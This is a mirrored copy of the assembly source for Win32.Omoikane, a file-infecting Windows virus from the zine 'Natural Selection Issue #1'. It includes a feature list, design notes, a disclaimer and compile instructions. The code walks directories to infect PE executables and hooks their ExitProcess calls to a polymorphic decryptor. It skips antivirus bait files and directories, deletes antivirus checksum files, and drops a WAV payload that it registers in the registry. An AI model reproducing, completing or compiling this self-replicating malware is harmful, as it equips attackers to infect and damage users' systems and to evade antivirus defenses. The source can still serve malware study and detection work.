mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
2124 lines
67 KiB
NASM
2124 lines
67 KiB
NASM
COMMENT ` ---------------------------------------------------------------- )=-
|
|
-=( Natural Selection Issue #1 ---------------------------- Win32.Omoikane )=-
|
|
-=( ---------------------------------------------------------------------- )=-
|
|
|
|
-=( 0 : Win32.Omoikane Features ------------------------------------------ )=-
|
|
|
|
Imports: GetModuleHandleA and ExitProcess from host, rest are direct
|
|
from Kernel32
|
|
Infects: PE files containing GetModuleHandleA. Expands last code
|
|
section, write decryptor to code section. ExitProcess of host
|
|
patched to run decryptor, which decrypts the virus into a large
|
|
enough data section. Write bit not set on the code section.
|
|
Strategy: Does a traversal starting at the root dir on the current drive
|
|
picking random sub-directories, stopping when either there are
|
|
no more directories, or some new files were infected.
|
|
Compatibility: All tested windows versions, doesn't infect SFCs
|
|
Saves Stamps: Yes
|
|
MultiThreaded: No
|
|
Polymorphism: A small slow-polymorphic decryptor in the empty space at end of
|
|
the code segment which uses a series of randomly generated
|
|
encryption instructions, and a couple algorithms.
|
|
AntiAV / EPO: Runs on ExitProcess. Anti-bait: Does not infect goat files
|
|
(small, incorrect make-up, weird filenames, etc) or anything in
|
|
goat directories (too many exes, same sizes, etc).
|
|
SEH Abilities: None
|
|
Payload: 1/8 times, writes baka.wav into the windows directory and sets
|
|
the registry to use it as the new Critical Error sound (heard
|
|
when an application crashes).
|
|
|
|
-=( 1 : Win32.Omoikane Design Goals -------------------------------------- )=-
|
|
|
|
: Infect PE files without adding a second code section
|
|
: NOT setting the write bit on a code section
|
|
: Use Good Encryption
|
|
|
|
This virus was created to see if the above objectives were feasible. With the
|
|
advent of the PE executable and advances in the anti-virus industry, new PE
|
|
viruses are generally easy prey for AVs due to one or more of the following
|
|
reasons:
|
|
|
|
: Entry point outside the code section. Some compression engines do this too,
|
|
but any AV which this does not red-flag is crap.
|
|
: Writable Code section. Almost no clean exe has this bit set. Almost all
|
|
viruses do.... hmm... I wonder if the AV noticed this?
|
|
: Lousy Encryption. As written in Matrix#2, AVs can cut through bad
|
|
encryption methods as if they were not there.
|
|
|
|
Thus, this virus was born.
|
|
|
|
This virus, hides it's body in the last section of the host file (encrypted of
|
|
course). It writes a small, POLYMORPHIC decryptor into the slack space at the
|
|
end of the code section. It then patches the exe by looking for all "call
|
|
[ExitProcess]" or "jmp [ExitProcess]" (depending on the linker) to jump to the
|
|
decryptor. Since all calls are patched, no other infection marker is needed.
|
|
|
|
When the host finishes running and calls ExitProcess, it will jump to the
|
|
polymorphic decryptor. The decryptor then decrypts the data in the last
|
|
section of the file, and places it into a writable data section. Due to how
|
|
windows "works", data sections CAN have code in them. After the virus is done
|
|
decrypting, it jumps to the code in the data section and executes.
|
|
|
|
When the virus executes, it goes into the root directory of the current drive
|
|
and attempts to infect files. If there are no files to infect, or a bait
|
|
directory is determined (using a complex set of criteria), then a random
|
|
subdirectory is chosen, and the infection process is repeated. (You can use
|
|
"subst" to create a new drive letter and run the file on it to test it
|
|
safely.)
|
|
|
|
...And so, some 2000 lines of code later - Mission Accomplished.
|
|
|
|
-=( 2 : Win32.Omoikane Design Faults ------------------------------------- )=-
|
|
|
|
The biggest problem is the reliance on GetModuleHandleA being present in the
|
|
host file. The other large problem is the inability to go hoping from one
|
|
drive to the next.
|
|
|
|
There are various other things that, time permitting, should be improved. For
|
|
example adding more methods of encryption, and lots of optimization. But for
|
|
now...
|
|
|
|
-=( 3 : Win32.Omoikane Disclaimer ---------------------------------------- )=-
|
|
|
|
THE CONTENTS OF THIS ELECTRONIC MAGAZINE AND ITS ASSOCIATED SOURCE CODE ARE
|
|
COVERED UNDER THE BELOW TERMS AND CONDITIONS. IF YOU DO NOT AGREE TO BE BOUND
|
|
BY THESE TERMS AND CONDITIONS, OR ARE NOT LEGALLY ENTITLED TO AGREE TO THEM,
|
|
YOU MUST DISCONTINUE USE OF THIS MAGAZINE IMMEDIATELY.
|
|
|
|
COPYRIGHT
|
|
Copyright on materials in this magazine and the information therein and
|
|
their arrangement is owned by FEATHERED SERPENTS unless otherwise indicated.
|
|
|
|
RIGHTS AND LIMITATIONS
|
|
You have the right to use, copy and distribute the material in this
|
|
magazine free of charge, for all purposes allowed by your governing
|
|
laws. You are expressly PROHIBITED from using the material contained
|
|
herein for any purposes that would cause or would help promote
|
|
the illegal use of the material.
|
|
|
|
NO WARRANTY
|
|
The information contained within this magazine are provided "as is".
|
|
FEATHERED SERPENTS do not warranty the accuracy, adequacy,
|
|
or completeness of given information, and expressly disclaims
|
|
liability for errors or omissions contained therein. No implied,
|
|
express, or statutory warranty, is given in conjunction with this magazine.
|
|
|
|
LIMITATION OF LIABILITY
|
|
In *NO* event will FEATHERED SERPENTS or any of its MEMBERS be liable for any
|
|
damages including and without limitation, direct or indirect, special,
|
|
incidental, or consequential damages, losses, or expenses arising in
|
|
connection with this magazine, or the use thereof.
|
|
|
|
ADDITIONAL DISCLAIMER
|
|
Computer viruses will spread of their own accord between computer systems, and
|
|
across international boundaries. They are raw animals with no concern for the
|
|
law, and for that reason your possession of them makes YOU responsible for the
|
|
actions they carry out.
|
|
|
|
The viruses provided in this magazine are for educational purposes ONLY. They
|
|
are NOT intended for use in ANY WAY outside of strict, controlled laboratory
|
|
conditions. If compiled and executed these viruses WILL land you in court(s).
|
|
|
|
You will be held responsible for your actions. As source code these viruses
|
|
are inert and covered by implied freedom of speech laws in some
|
|
countries. In binary form these viruses are malicious weapons. FEATHERED
|
|
SERPENTS do not condone the application of these viruses and will NOT be held
|
|
LIABLE for any MISUSE.
|
|
|
|
-=( 4 : Win32.Omoikane Compile Instructions ------------------------------ )=-
|
|
|
|
TASM32 5.0 & TLINK32 1.6.71.0
|
|
|
|
tasm32 /m /ml Omoikane.asm
|
|
tlink32 /Tpe /x Omoikane.obj, Omoikane.exe,,import32.lib
|
|
pewrsec Omoikane.exe
|
|
|
|
-=( 5 : Win32.Omoikane --------------------------------------------------- ) `
|
|
|
|
%out Assembling file implies acceptance of disclaimer inside source code
|
|
|
|
DEBUG equ 0 ; Toggle Slow/Fast Poly, etc
|
|
DEBUGENTRY equ 0 ; decryptor starts with an 'int 3'
|
|
DEBUGROOTDIR equ 0 ; 0= root dir, 1= 'goats' subdir
|
|
|
|
if DEBUG
|
|
MINCODESIZE equ 100h ; Min Raw size of host's CS
|
|
MINHOSTSIZE equ 100h
|
|
else
|
|
MINCODESIZE equ 1000h
|
|
MINHOSTSIZE equ 10000h ; bad exe if < 10000h bytes
|
|
endif
|
|
MINSLACKSPACE equ 50 ; Need at least 50 bytes at end of CS
|
|
MAXEXEPERDIR equ 30 ; over 25 exes and skip dir
|
|
MAXBADEXE equ 7 ; 7 bad exes before skipping dir
|
|
MAXSAMESIZE equ 3 ; 3 same size files = goat dir
|
|
MAXSIZEPATTERN equ 3 ; 3 exes in same size increments.
|
|
|
|
|
|
.386
|
|
.model flat, stdcall
|
|
|
|
; ************************************************************************
|
|
; Declarations
|
|
; ************************************************************************
|
|
GetModuleHandleA PROCDESC WINAPI :DWORD
|
|
|
|
OPEN_EXISTING equ 3
|
|
FILE_SHARE_WRITE equ 0002h
|
|
FILE_BEGIN equ 0
|
|
FILE_MAP_WRITE equ 2
|
|
FILE_ATTRIBUTE_NORMAL equ 00000080h
|
|
INVALID_HANDLE_VALUE equ 0FFFFFFFFh
|
|
GENERIC_READ equ 80000000h
|
|
GENERIC_WRITE equ 40000000h
|
|
MAX_PATH equ 260
|
|
CREATE_ALWAYS equ 2
|
|
PAGE_READWRITE equ 00000004h
|
|
HKEY_USERS equ 80000003h
|
|
REG_SZ equ 1
|
|
FILE_ATTRIBUTE_DIRECTORY equ 00000010h
|
|
|
|
WIN32_FIND_DATA struct
|
|
fd_dwFileAttributes dd 0
|
|
fd_ftCreationTime dd 0, 0
|
|
fd_ftLastAccessTime dd 0, 0
|
|
fd_ftLastWriteTime dd 0, 0
|
|
fd_nFileSizeHigh dd 0
|
|
fd_nFileSizeLow dd 0
|
|
fd_dwReserved0 dd 0
|
|
fd_dwReserved1 dd 0
|
|
fd_cFileName db 260 dup(0)
|
|
fd_cAlternateFileName db 14 dup(0)
|
|
WIN32_FIND_DATA ends
|
|
|
|
FILETIME struct
|
|
ft_dwLowDateTime dd 0
|
|
ft_dwHighDateTime dd 0
|
|
FILETIME ends
|
|
|
|
|
|
; -****************-
|
|
; PE Header format
|
|
; -****************-
|
|
|
|
PEHEADER struct
|
|
ID dd ?
|
|
Machine dw ?
|
|
NumberOfSections dw ?
|
|
TimeDateStamp dd ?
|
|
PointerToSymbolTable dd ?
|
|
NumberOfSymbols dd ?
|
|
SizeOfOptionalHeader dw ?
|
|
Characteristics dw ?
|
|
; Optional Header:
|
|
MagicNumber dw ?
|
|
MajorLinkerVersion db ?
|
|
MinorLinkerVersion db ?
|
|
SizeOfCode dd ?
|
|
SizeOfInitializedData dd ?
|
|
SizeOfUninitializedData dd ?
|
|
AddressOfEntryPoint dd ?
|
|
BaseOfCode dd ?
|
|
BaseOfData dd ?
|
|
ImageBase dd ?
|
|
SectionAlignment dd ?
|
|
FileAlignment dd ?
|
|
MajorOperatingSystemVersion dw ?
|
|
MinorOperatingSystemVersion dw ?
|
|
MajorImageVersion dw ?
|
|
MinorImageVersion dw ?
|
|
MajorSubsystemVersion dw ?
|
|
MinorSubsystemVersion dw ?
|
|
Reserved1 dd ?
|
|
SizeOfImage dd ?
|
|
SizeOfHeaders dd ?
|
|
CheckSum dd ?
|
|
Subsystem dw ?
|
|
DllCharacteristics dw ?
|
|
SizeOfStackReserve dd ?
|
|
SizeOfStackCommit dd ?
|
|
SizeOfHeapReserve dd ?
|
|
SizeOfHeapCommit dd ?
|
|
LoaderFlags dd ?
|
|
NumberOfRvaAndSizes dd ?
|
|
DataDirectory dd 20 dup (?)
|
|
PEHEADER ends
|
|
|
|
; Data Directory
|
|
; --------------
|
|
DIR_EXPORT_TABLE equ 0
|
|
DIR_IMPORT_TABLE equ 1
|
|
DIR_RESOURCE_TABLE equ 2
|
|
DIR_EXCEPTION_TABLE equ 3
|
|
DIR_SECURITY_TABLE equ 4
|
|
DIR_FIXUP_TABLE equ 5
|
|
DIR_DEBUG_TABLE equ 6
|
|
DIR_IMAGE_DESCRIPTION equ 7
|
|
DIR_MACHINE_SPECIFIC_DATA equ 8
|
|
DIR_THREAD_LOCAL_STORAGE equ 9
|
|
DIR_LOAD_CONFIG equ 10
|
|
DIR_BOUND_IMPORT equ 11
|
|
DIR_IMPORT_ADDRESS_TABLE equ 12
|
|
|
|
|
|
; -*******************-
|
|
; Export Table format
|
|
; -*******************-
|
|
|
|
EXPORTHEADER struct
|
|
UnusedCharacteristics dd ?
|
|
DateTimeStamp dd ?
|
|
MajorVersion dw ?
|
|
MinorVersion dw ?
|
|
Name dd ?
|
|
Base dd ?
|
|
NumberOfFunctions dd ?
|
|
NumberOfNames dd ?
|
|
AddressOfFunctions dd ?
|
|
AddressOfNames dd ?
|
|
AddressOfNameOrdinals dd ?
|
|
EXPORTHEADER ends
|
|
|
|
|
|
; -**************************-
|
|
; Section Table Entry format
|
|
; -**************************-
|
|
|
|
SECTION struct
|
|
sec_Name db 8 dup (?)
|
|
sec_VirtualSize dd ?
|
|
sec_VirtualAddress dd ?
|
|
sec_SizeOfRawData dd ?
|
|
sec_PointerToRawData dd ?
|
|
sec_PointerToRelocations dd ?
|
|
sec_PointerToLinenumbers dd ?
|
|
sec_NumberOfRelocations dw ?
|
|
sec_NumberOfLineNumbers dw ?
|
|
sec_Characteristics dd ?
|
|
SECTION ends
|
|
|
|
; Section Characteristics flags
|
|
; ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
SEC_CODE equ 00000020h
|
|
SEC_INITIALIZED_DATA equ 00000040h
|
|
SEC_UNINITIALIZED_DATA equ 00000080h
|
|
SEC_NO_CACHE equ 04000000h
|
|
SEC_NOT_PAGEABLE equ 08000000h
|
|
SEC_SHARED equ 10000000h
|
|
SEC_EXECUTABLE equ 20000000h
|
|
SEC_READ equ 40000000h
|
|
SEC_WRITE equ 80000000h
|
|
|
|
|
|
; -*******************-
|
|
; Import Table format
|
|
; -*******************-
|
|
|
|
IMPORTTABLE struct
|
|
imp_Characteristics dd ?
|
|
imp_DateTimeStamp dd ?
|
|
imp_ForwarderChain dd ?
|
|
imp_Name dd ?
|
|
imp_FirstThunk dd ?
|
|
IMPORTTABLE ends
|
|
|
|
|
|
|
|
; ************************************************************************
|
|
; Data Segment (empty)
|
|
; ************************************************************************
|
|
.data
|
|
dummy db 0
|
|
|
|
|
|
|
|
|
|
|
|
; ************************************************************************
|
|
;
|
|
; Code Segment
|
|
;
|
|
; ************************************************************************
|
|
|
|
|
|
.code
|
|
VIRUSTOTALSIZE equ offset VirusEnd - offset VirusStart
|
|
VIRUSCODESIZE equ offset VirusInitEnd - offset VirusStart
|
|
filesize equ 7045
|
|
BakaFileSize equ 8
|
|
|
|
|
|
HOST:
|
|
xor ebp, ebp
|
|
call GetModuleHandleA, offset nKernel32
|
|
jmp short SkipInFirstGeneration
|
|
|
|
VirusStart:
|
|
call Get_Delta
|
|
Get_Delta:
|
|
pop ebp
|
|
sub ebp, offset Get_Delta
|
|
|
|
lea eax, nKernel32+ebp
|
|
push eax
|
|
dw 15FFh ; Call [var containing offset GetModuleHandle]
|
|
GetModHandleAddy dd 0
|
|
|
|
SkipInFirstGeneration:
|
|
;-*********************************-
|
|
; Get other function addresses from
|
|
; the export table of Kernel32.dll
|
|
;-*********************************-
|
|
GetFunctions:
|
|
mov ebx, dword ptr [eax+3Ch] ; RVA of PE Header
|
|
mov ebx, dword ptr [ebx+eax].DataDirectory[0]
|
|
|
|
mov ecx, dword ptr [ebx+eax].NumberOfNames ; Number of Names
|
|
mov NumOfNames+ebp, ecx
|
|
|
|
xor ecx, ecx ; Currently at Name 1
|
|
mov edi, dword ptr [ebx+eax].AddressOfNames ; Address of Names
|
|
mov edx, dword ptr [ebx+eax].AddressOfFunctions ; RVAs of functions
|
|
add edx, eax
|
|
mov ebx, dword ptr [ebx+eax].AddressOfNameOrdinals ; Ordinals
|
|
add ebx, eax
|
|
FindAddress:
|
|
mov esi, dword ptr [edi+eax]
|
|
add esi, eax
|
|
push edi
|
|
lea edi, nGetProcAddr+ebp
|
|
push ecx
|
|
mov ecx, 15
|
|
repz cmpsb
|
|
pop ecx
|
|
pop edi
|
|
jz short Match
|
|
add edi, 4
|
|
inc ecx
|
|
cmp ecx, NumOfNames+ebp
|
|
jnge FindAddress
|
|
|
|
OhShitFailImport:
|
|
dw 15FFh ; Call [var containing offset ExitProcess]
|
|
EmergencyExitAddy dd 0 ; (exit value should be on stack from host)
|
|
|
|
Match:
|
|
movzx ecx, word ptr [ebx+2*ecx]
|
|
mov ecx, dword ptr [edx+4*ecx]
|
|
add ecx, eax
|
|
|
|
mov ebx, eax
|
|
mov _GetProcAddress+ebp, ecx
|
|
; GetProcAddress is now in ecx....
|
|
|
|
; Now import the rest of the needed functions
|
|
lea esi, InfFunctions+ebp
|
|
lea edi, InfDest+ebp
|
|
InfGetFuncLoop:
|
|
lodsb
|
|
movzx ecx, al
|
|
jecxz InfImpDone
|
|
push esi
|
|
add esi, ecx
|
|
call _GetProcAddress+ebp, ebx
|
|
or eax,eax
|
|
jz OhShitFailImport
|
|
stosd
|
|
jmp InfGetFuncLoop
|
|
InfImpDone:
|
|
|
|
call LoadSFC ; Load SFC Library if exists
|
|
db 'sfc.dll',0
|
|
LoadSFC:
|
|
call _LoadLibraryA+ebp
|
|
mov SFCLib+ebp, eax
|
|
or eax,eax
|
|
jz short NoSFCdll ; Probably 95 or 98
|
|
call PushSFCfunc
|
|
db 'SfcIsFileProtected',0
|
|
PushSFCfunc:
|
|
call _GetProcAddress+ebp, eax
|
|
NoSFCdll:
|
|
mov _SfcIsFileProtected+ebp, eax
|
|
|
|
|
|
lea eax, DirBuf+ebp
|
|
call _GetCurrentDirectoryA+ebp, 256, eax
|
|
lea eax, RootDir+ebp
|
|
call _SetCurrentDirectoryA+ebp, eax
|
|
lea eax, CurrentTime+ebp
|
|
call _GetSystemTimeAsFileTime+ebp, eax
|
|
ror CurrentTime.ft_dwLowDateTime+ebp, 5 ; Get rid of ending 0s
|
|
|
|
;>>>>>----------------------------------------------------------------<<<<<
|
|
|
|
; ****** Payload start here ******
|
|
; (makes baka.wav play when a program crashes)
|
|
test CurrentTime.ft_dwLowDateTime+ebp, 7 ; 1 in 8 times
|
|
jnz SearchNewDir
|
|
|
|
lea edi, buffer+ebp
|
|
call _GetWindowsDirectoryA+ebp, edi, MAX_PATH
|
|
push edi
|
|
add edi, eax
|
|
lea esi, bakafile+ebp
|
|
push 10
|
|
pop ecx
|
|
rep movsb
|
|
pop edi
|
|
mov esi, ecx
|
|
|
|
call _CreateFileA+ebp, edi, GENERIC_READ+GENERIC_WRITE, esi, esi, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, esi
|
|
or eax, eax
|
|
js ExitPayload
|
|
push eax ; Push FileHandle
|
|
call _CreateFileMappingA+ebp, eax, esi, PAGE_READWRITE, esi, filesize, esi
|
|
or eax, eax
|
|
je CloseAndExitPayload
|
|
call _MapViewOfFile+ebp, eax, FILE_MAP_WRITE, esi, esi, esi
|
|
push eax ; Push Memory Addy
|
|
|
|
xchg eax, edi
|
|
lea esi, BakaWav+ebp
|
|
mov edx, filesize
|
|
push ebp
|
|
call decode
|
|
pop ebp
|
|
|
|
call PushRegLibName ; Load the Reg* functions
|
|
db 'ADVAPI32',0
|
|
PushRegLibName:
|
|
call _LoadLibraryA+ebp
|
|
push eax
|
|
|
|
xchg eax, ebx
|
|
lea esi, RegFunctions+ebp
|
|
lea edi, RegFuncDest+ebp
|
|
call FillImports
|
|
jc short FreeLibAndExit
|
|
lea eax, RegKey+ebp
|
|
lea ecx, RegHnd+ebp
|
|
call _RegOpenKeyA+ebp, HKEY_USERS, eax, ecx
|
|
mov ebx, RegHnd+ebp
|
|
push ebx
|
|
|
|
lea eax, RegKey+ebp
|
|
lea ecx, bakafile+1+ebp
|
|
call _RegSetValueA+ebp, HKEY_USERS, eax, REG_SZ, ecx, BakaFileSize
|
|
CloseKeyAndExit:
|
|
call _RegCloseKey+ebp
|
|
FreeLibAndExit:
|
|
call _FreeLibrary+ebp
|
|
CloseAndExitPayload:
|
|
call _UnmapViewOfFile+ebp
|
|
call _CloseHandle+ebp
|
|
ExitPayload:
|
|
call _CloseHandle+ebp
|
|
; ****** Payload end here ******
|
|
|
|
|
|
SearchNewDir:
|
|
lea ecx, FileMaskAny+ebp
|
|
lea edx, FindFile+ebp
|
|
call _FindFirstFileA+ebp, ecx, edx
|
|
mov SearchHnd+ebp, eax
|
|
cmp eax, INVALID_HANDLE_VALUE
|
|
je ExitProgram
|
|
|
|
xor eax, eax
|
|
mov NumInfected+ebp, al
|
|
mov AVCRCFlag+ebp, al
|
|
mov NonExeCount+ebp, eax
|
|
mov DirCount+ebp, eax
|
|
mov ExeGoodCount+ebp, eax
|
|
mov ExeBadCount+ebp, eax
|
|
mov ExeSizesPtr+ebp, eax
|
|
|
|
ScanDirLoop:
|
|
call GetShortFileName
|
|
|
|
test FindFile.fd_dwFileAttributes+ebp, FILE_ATTRIBUTE_DIRECTORY
|
|
jnz ScanDirStats
|
|
|
|
; ************************
|
|
; Check if File is an .EXE
|
|
; ************************
|
|
mov edi, esi
|
|
mov al, 0
|
|
mov ecx, 255 ; (13 should be enough, but if long...)
|
|
repnz scasb
|
|
cmp dword ptr [edi-5], 'EXE.'
|
|
jne IncNonExeCount
|
|
|
|
; *****************************
|
|
; Check if File is not known AV
|
|
; *****************************
|
|
lea edi, AVNames+ebp ; Check if AV - load names
|
|
CheckVsAV:
|
|
movzx ecx, byte ptr [edi] ; Load length of name
|
|
inc edi ; skip past length byte
|
|
or ecx,ecx ; Is length zero?
|
|
jz short NotAVName ; Yes - passed AV check
|
|
push esi ; Save Filename
|
|
repz cmpsb ; Compare
|
|
pop esi ; Restore FileName
|
|
jz AbortDir ; Oh oh - match (skip dir)
|
|
add edi, ecx ; Goto next AV Name
|
|
jmp CheckVsAV
|
|
NotAVName:
|
|
|
|
; *******************
|
|
; Possible Goat File?
|
|
; *******************
|
|
|
|
call ExeTest
|
|
jc IncExeBadCount
|
|
inc ExeGoodCount+ebp
|
|
|
|
mov ecx, ExeSizesPtr+ebp ; Store file sizes for analyses
|
|
cmp ecx, MAXEXEPERDIR
|
|
je short GetNextScanFile
|
|
mov eax, FindFile.fd_nFileSizeLow+ebp
|
|
mov [offset ExeSizes + 4*ecx + ebp], eax
|
|
inc ExeSizesPtr+ebp
|
|
|
|
GetNextScanFile:
|
|
lea ecx, FindFile+ebp
|
|
call _FindNextFileA+ebp, SearchHnd+ebp, ecx
|
|
or eax, eax
|
|
jnz ScanDirLoop
|
|
call _FindClose+ebp, SearchHnd+ebp
|
|
|
|
; Check if probable goat directory
|
|
mov eax, ExeGoodCount+ebp
|
|
mov ebx, ExeBadCount+ebp
|
|
mov ecx, NonExeCount+ebp
|
|
|
|
cmp eax, 0
|
|
je GotoNextDir
|
|
|
|
cmp ebx, MAXBADEXE ; Too many possible goats?
|
|
ja GotoNextDir
|
|
cmp eax, ebx ; More bad EXEs than goods?
|
|
jb GotoNextDir
|
|
add ebx, eax ; Too Many EXEs?
|
|
cmp ebx, MAXEXEPERDIR
|
|
ja GotoNextDir
|
|
cmp ebx, ecx ; Too high a ratio of EXEs?
|
|
ja GotoNextDir
|
|
|
|
cmp eax, MAXSAMESIZE
|
|
jbe short FindExes
|
|
mov ecx, ExeSizesPtr+ebp ; Bubble Sort Exe Sizes
|
|
dec ecx
|
|
lea edi, ExeSizes+ebp
|
|
xor ebx, ebx
|
|
BubbleLoop1:
|
|
lea edx, [ebx+1]
|
|
BubbleLoop2:
|
|
mov eax, [edi + 4*ebx]
|
|
cmp eax, [edi + 4*edx]
|
|
jbe short BubbleNoSwap
|
|
xchg [edi + 4*edx], eax
|
|
mov [edi + 4*ebx], eax
|
|
BubbleNoSwap:
|
|
inc edx
|
|
cmp edx, ecx
|
|
jbe BubbleLoop2
|
|
inc ebx
|
|
cmp ebx, ecx
|
|
jb BubbleLoop1
|
|
|
|
xor ebx, ebx ; Num of same increments
|
|
xor edx, edx ; Num of files with same size as another
|
|
xor esi, esi ; Size of last increment (init to -1)
|
|
dec esi
|
|
ExeSizeLoop:
|
|
mov eax, [edi+4*ecx]
|
|
sub eax, [edi+4*ecx-4]
|
|
jnz short ExesNotSameSize
|
|
inc edx
|
|
cmp edx, MAXSAMESIZE-1
|
|
jae GotoNextDir
|
|
jmp short NoSizePattern
|
|
ExesNotSameSize:
|
|
xor edx, edx
|
|
xchg eax, esi
|
|
cmp eax, esi
|
|
jne short NoSizePattern
|
|
inc ebx
|
|
NoSizePattern:
|
|
loop ExeSizeLoop
|
|
cmp ebx, MAXSIZEPATTERN
|
|
jae GotoNextDir
|
|
|
|
FindExes:
|
|
lea ecx, FileMaskExe+ebp
|
|
lea edx, FindFile+ebp
|
|
call _FindFirstFileA+ebp, ecx, edx
|
|
mov SearchHnd+ebp, eax
|
|
FindExeLoop:
|
|
|
|
call GetShortFileName
|
|
call ExeTest
|
|
jc short FindNextExe
|
|
|
|
lea eax, FindFile.fd_cFileName+ebp
|
|
call _SetFileAttributesA+ebp, eax, FILE_ATTRIBUTE_NORMAL
|
|
or eax, eax ; Set Attributes OK?
|
|
je short FindNextExe ; No- oh oh. Network?
|
|
|
|
push CurrentTime.ft_dwHighDateTime+ebp ; Save seed (rand slow)
|
|
shr CurrentTime.ft_dwHighDateTime+ebp, 12 ; Divide by 40 days
|
|
call InfectTheFileAlready ; About time, huh?
|
|
pop CurrentTime.ft_dwHighDateTime+ebp ; restore seed
|
|
|
|
|
|
lea eax, FindFile.fd_cFileName+ebp
|
|
call _SetFileAttributesA+ebp, eax, FindFile.fd_dwFileAttributes+ebp
|
|
|
|
FindNextExe:
|
|
lea ecx, FindFile+ebp
|
|
call _FindNextFileA+ebp, SearchHnd+ebp, ecx
|
|
or eax, eax
|
|
jnz FindExeLoop
|
|
AbortDir:
|
|
call _FindClose+ebp, SearchHnd+ebp
|
|
cmp NumInfected+ebp, 0 ; Exit if done infection
|
|
jne RemoveCRCsAndExit
|
|
|
|
GotoNextDir:
|
|
mov ecx, DirCount+ebp ; Exit if no more dirs
|
|
or ecx, ecx
|
|
jz ExitProgram
|
|
|
|
call randomfast
|
|
xor edx, edx
|
|
div ecx
|
|
inc edx
|
|
mov DirCount+ebp, edx
|
|
lea ecx, FileMaskAny+ebp
|
|
lea edx, FindFile+ebp
|
|
call _FindFirstFileA+ebp, ecx, edx
|
|
xchg eax, ebx
|
|
ChangeDirLoop:
|
|
test FindFile.fd_dwFileAttributes+ebp, FILE_ATTRIBUTE_DIRECTORY
|
|
jz short FindDir
|
|
cmp byte ptr FindFile.fd_cFileName+ebp, '.'
|
|
je short FindDir
|
|
dec DirCount+ebp
|
|
jz short ChangeToDir
|
|
FindDir:
|
|
lea ecx, FindFile+ebp
|
|
call _FindNextFileA+ebp, ebx, ecx
|
|
jmp short ChangeDirLoop
|
|
ChangeToDir:
|
|
call _FindClose+ebp, ebx
|
|
lea ecx, FindFile.fd_cFileName+ebp
|
|
call _SetCurrentDirectoryA+ebp, ecx
|
|
jmp SearchNewDir
|
|
|
|
IncExeBadCount:
|
|
inc ExeBadCount+ebp
|
|
jmp GetNextScanFile
|
|
|
|
ScanDirStats:
|
|
cmp byte ptr [esi], '.'
|
|
je GetNextScanFile
|
|
inc DirCount+ebp
|
|
jmp GetNextScanFile
|
|
|
|
IncNonExeCount:
|
|
lea edi, CRCNames+ebp
|
|
xor edx, edx
|
|
inc edx
|
|
CRCNameLoop:
|
|
movzx ecx, byte ptr [edi]
|
|
inc edi
|
|
or ecx, ecx
|
|
jz short CRCNamePass
|
|
push esi
|
|
repz cmpsb
|
|
pop esi
|
|
jz short CRCNameFail
|
|
add edi, ecx
|
|
shl edx, 1
|
|
jmp CRCNameLoop
|
|
CRCNameFail:
|
|
or AVCRCFlag+ebp, dl
|
|
jmp short ExitIncNonExeCount
|
|
CRCNamePass:
|
|
inc NonExeCount+ebp
|
|
ExitIncNonExeCount:
|
|
jmp GetNextScanFile
|
|
|
|
; Remove any AV CRCs....
|
|
RemoveCRCsAndExit:
|
|
lea edi, CRCNames+ebp
|
|
xor esi, esi
|
|
inc esi
|
|
RemoveAVCRCs:
|
|
movzx ebx, byte ptr [edi]
|
|
or ebx, ebx
|
|
jz short ExitProgram
|
|
inc edi
|
|
test dword ptr AVCRCFlag+ebp, esi
|
|
jnz short DeleteAVCRC
|
|
NextCRCRemove:
|
|
shl esi, 1
|
|
add edi, ebx
|
|
jmp RemoveAVCRCs
|
|
DeleteAVCRC:
|
|
call _SetFileAttributesA+ebp, edi, FILE_ATTRIBUTE_NORMAL
|
|
call _DeleteFileA+ebp, edi
|
|
jmp NextCRCRemove
|
|
|
|
ExitProgram:
|
|
mov ecx, SFCLib+ebp ; Free SFC lib if loaded
|
|
jecxz NoSFCFreeLib
|
|
call _FreeLibrary+ebp, ecx
|
|
NoSFCFreeLib:
|
|
lea eax, DirBuf+ebp
|
|
call _SetCurrentDirectoryA+ebp, eax
|
|
call _ExitProcess+ebp, 0
|
|
|
|
|
|
; ********************************
|
|
; esi=short filename from FindFile
|
|
; ********************************
|
|
GetShortFileName:
|
|
lea esi, FindFile.fd_cAlternateFileName+ebp
|
|
cmp byte ptr [esi], 0 ; Sometimes unused - check
|
|
jne short GotShortFileName
|
|
lea esi, FindFile.fd_cFileName+ebp ; put filename in ds:esi
|
|
GotShortFileName:
|
|
ret
|
|
|
|
; ******************************
|
|
;
|
|
; TEST EXE FILE FOR GOAT
|
|
;
|
|
; ******************************
|
|
|
|
ExeTest:
|
|
; ******************************
|
|
; Check if File is not too small
|
|
; ******************************
|
|
CheckFileSize:
|
|
cmp dword ptr FindFile.fd_nFileSizeLow+ebp, MINHOSTSIZE
|
|
jb short ExeTestBad ; File too small?
|
|
; ****************************
|
|
; Check if File is not too new
|
|
; ****************************
|
|
CheckFileTime:
|
|
mov eax, CurrentTime.ft_dwHighDateTime+ebp
|
|
sub eax, 1000h
|
|
cmp eax, FindFile.fd_ftLastWriteTime.ft_dwHighDateTime+ebp
|
|
jb short ExeTestBad
|
|
; ********************************
|
|
; Check if File contains long runs
|
|
; of letters or contains numbers.
|
|
; ********************************
|
|
mov edi, esi
|
|
mov byte ptr LetterCount+ebp, 0 ; Currently run of 0 same chars
|
|
mov byte ptr LastLetter+ebp, 0 ; Reset last letter
|
|
lea esi, FindFile.fd_cFileName+ebp ; put long filename in ds:esi
|
|
letterloop:
|
|
lodsb ; load letter
|
|
or al,al ; End of filename? Yes - exit.
|
|
jz short DoneRunCheck
|
|
cmp al, '0' ; Check if it has file has
|
|
jb short NextCheck ; numbers in it. If so, skip.
|
|
cmp al, '2'
|
|
jb short ExeTestBad
|
|
cmp al, '4'
|
|
jb short NextCheck
|
|
cmp al, '9'
|
|
jbe short ExeTestBad
|
|
NextCheck:
|
|
xor bl,bl ; Zero Letter Run counter
|
|
cmp LastLetter+ebp, al ; Is same as last letter?
|
|
jne short DoneCheck ; Yes - it's ok.
|
|
mov bl, LetterCount+ebp ; No? # of letters repeated
|
|
inc bx ; increment LetterCount
|
|
cmp bl, 2 ; Is this he third same letter?
|
|
jae short ExeTestBad ; Yes - fail. Look elsewhere
|
|
DoneCheck:
|
|
mov LastLetter+ebp, al ; Save last letter
|
|
mov LetterCount+ebp, bl ; Save Run count
|
|
jmp short letterloop ; Get next letter
|
|
DoneRunCheck:
|
|
clc
|
|
ret
|
|
